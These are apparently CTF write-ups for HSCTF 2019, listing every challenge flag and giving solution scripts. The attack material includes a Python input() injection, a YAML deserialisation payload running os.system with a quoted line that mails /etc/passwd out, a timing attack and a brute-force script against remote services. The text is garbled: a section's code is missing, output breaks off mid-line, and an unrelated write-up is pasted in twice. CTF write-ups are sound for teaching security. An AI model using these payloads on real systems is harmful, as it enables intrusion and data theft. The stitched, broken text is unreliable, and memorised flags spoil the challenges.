Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
# Dig-dug
| Event | Title | Category | Cost ||:------|:----------|:---------|-------:|| BCACTF | dig-dug | WEB | 100 |
### Discription>I found this super sketchy website called hole.sketchy.dev. Can you help me dig up some of its secrets?>>Oh, and someone told me that the secrets are TXT. I don't know what this means, so good luck!>>https://hole.sketchy.dev/
### Solution
Using tips on the Linux `dig` command, we get nothing.

A little googling the arguments of the command dig we found what we need.

##### Flag
```bcactf{d1g-f0r-h073s-w/-dns-8044323}``` |
# Dig-dug
| Event | Title | Category | Cost ||:------|:----------|:---------|-------:|| BCACTF | dig-dug | WEB | 100 |
### Discription>I found this super sketchy website called hole.sketchy.dev. Can you help me dig up some of its secrets?>>Oh, and someone told me that the secrets are TXT. I don't know what this means, so good luck!>>https://hole.sketchy.dev/
### Solution
Using tips on the Linux `dig` command, we get nothing.

A little googling the arguments of the command dig we found what we need.

##### Flag
```bcactf{d1g-f0r-h073s-w/-dns-8044323}``` |
# net-cat (50)
## Problem
